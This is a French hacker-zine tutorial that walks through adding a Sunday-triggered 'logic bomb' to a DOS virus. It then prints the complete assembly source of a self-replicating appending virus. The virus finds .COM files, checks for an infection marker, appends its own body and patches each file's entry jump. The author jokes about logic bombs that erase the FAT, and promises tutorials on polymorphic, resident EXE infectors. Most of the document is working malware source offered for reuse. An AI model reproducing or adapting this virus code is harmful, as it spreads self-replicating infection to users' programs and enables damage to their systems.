PeTa La BoMbAHistoire: ****** Un virus qui se propage c'est marrant a programmer , mais alors cette partie de la construction de virus c'est Le Meilleur, c'est jouissif. What is a logical bomb ? C'est simple, c'est le code qui se charge de foutre votre merde dans certaines conditions. Par exemple effacer la fat le jour de votre anniversaire, faire exploser le moniteur tous les 30 du mois etc.... (pour ca, j'attends vos sources, lol) Moi je me chargerais juste que mon virus fasse la greve tous les dimanches, c'est a dire qu'il n'infectera pas le dimanche et qu'il affichera le message : "Je suis votre ordinateur, il est dimanche je refuse donc de travailler !" Ce qui affichera cela, comme dans le premier virus par recouvrement: ----------------------------------------------------------------------------------- message db 'Je suis votre ordinateur, il est dimanche je refuse donc de travailler !','$' lea dx,[bp+message] ;message ! push ax mov ax,0900h int 21h pop ax mov ah,4ch ;retour au dos int 21h -----------------------------------------------------------------------------------Ca c'est la partie simple, maintenant il faut se demerder pour savoir quand on est un dimanche. On sort donc encore notre doc sur les interruptions. et on trouve a l'int 21 code 2A Get Date. Cette fonction retourne 0 en AL si on est dimanche, hehe. ----------------------------------------------------------------------------------- CHECK_DAY: mov ah,2Ah ;Get Date int 21h ; cmp al,0 ;Dimanche ou pas ? jne pasgreve ;si non, on fait pas la greve ;sinon on continue -----------------------------------------------------------------------------------Hehe, c'est tout con, voila donc le source complet (please copier-coller pas sans mon accord, j'ai mis du temps moi a le faire !) *********************************************************************************** CODE SEGMENT ASSUME CS:CODE,DS:CODE ORG 100H debut: db 0e9h,0,0 ;on ecrie ca pour que le prog reconnaisse ;qu'il est deja infecte ;car sinon il va s'auto-infecter virus: call virus_start ;call pour pouvoir recuperer l'adresse virus_start: pop bp ;qu'on recupere sub bp,OFFSET virus_start ;et qu'on adapte a nos besoins mov cx,3 ;remet les 3 bits originaux mov di,100h ;depart du com lea si,[bp+buffer] ;endroit ou on a copie les 3 bits rep movsb ;on le fait tant que cx!=0 dta: lea dx,[bp+mydta] ;adresse de mydta mov ah,1ah ;Set DTA int 21h ; CHECK_DAY: mov ah,2Ah ;Get Date int 21h ; cmp al,0 ;Dimanche ou pas ? jne pasgreve ;si non, on fait pas la greve ;sinon on continue ;greve lea dx,[bp+message] ;message ! push ax mov ax,0900h int 21h pop ax mov ah,4ch ;retour au dos int 21h pasgreve: ;findfirst mov ah,4Eh ; lea dx,[bp+fichiercom] ;findfirst int 21h ; OUVERTURE: jc fin ;si on trouve pas on quitte mov ax,3D02h ;ouverture-du-fichier(le 02 indique lecture-ecriture) lea dx,[bp+mydta+1eh] ;nom dans DTA_PLACE+1eh int 21h mov bx,ax ;handle en bx CHECK_INFECTION: ;ça c'est du code barbare ! mov ah,3fh ;lecture du 1er bit mov cx,1 ;on en lit 1 lea dx,[bp+verification] ;le bit dans verification int 21h ; cmp [bp+verification], 0e9h ;compare le 1er bit a 0e9h jz FERMETURE ;si = on cherche un autre INFECTION: mov ax, 4200h ;pointeur du fichier au debut xor cx, cx ; xor dx, dx ; int 21h ; mov ah,3fh ;lecture des premiers bits mov cx,3 ;on en lit 3 lea dx,[bp+buffer] ;les 3 bits dans buffer int 21h ; mov ax, 4202h ;pointeur du fichier a la fin xor cx, cx ; xor dx, dx ; int 21h ; ;codage du jmp sub ax,3 mov word ptr [bp+buffer2+1],ax ;codage du jump mov ah,40h ;ecriture mov cx, virus_end-virus ;taille de notre virus lea dx,[bp+virus] ;pointe au debut du virus int 21h ;ecriture du jmp mov ax, 4200h ;pointeur du fichier au debut xor cx, cx ; xor dx, dx ; int 21h ; mov ah, 40h ;ecriture du jmp mov cx, 3 ;on écrit 3 bits lea dx,[bp+buffer2] ;pointe sur le jmp code int 21h ; FERMETURE: mov ah,3Eh ;fermeture-du-fichier int 21h mov ah,4Fh ;findnext int 21h ;si y en a pas on se casse jmp OUVERTURE ;si y en a on revient fin: ;execution-du-prog-victime fin_cherche: mov dx,80h ;replacement de la dta mov ah,1ah int 21h mov di,100h ;di pointe a 100h (depart des coms) jmp di ;le virus passe la main au prog infecte variables: buffer db 3 dup (?) ;buffer des 3 bits fichiercom db '*.COM',0 ;cible: les coms buffer2 db 0e9h,?,? ;buffer du jmp de depart verification db ? ;sert pour tester si le fichier est deja infecte message db 'Je suis votre ordinateur, il est dimanche je refuse donc de travailler !','$' TiPiaX db 'FloW V1.0 By PoSeiDoN (Fr)' virus_end: mydta db 42 dup (?) ;on le met la car on ne veut pas copier le contenu ;de la DTA CODE ENDS END debut *********************************************************************************** C'est ici que s'acheve mes tuts sur les virii pour ce numero . La prochaine fois j'espere que je serais en mesure de vous apprendre comment faire un virus infecteur de *.exe et pourquoi pas polymorphe et resident (mais bien sur!). Allez, revez bien ! Tipiax |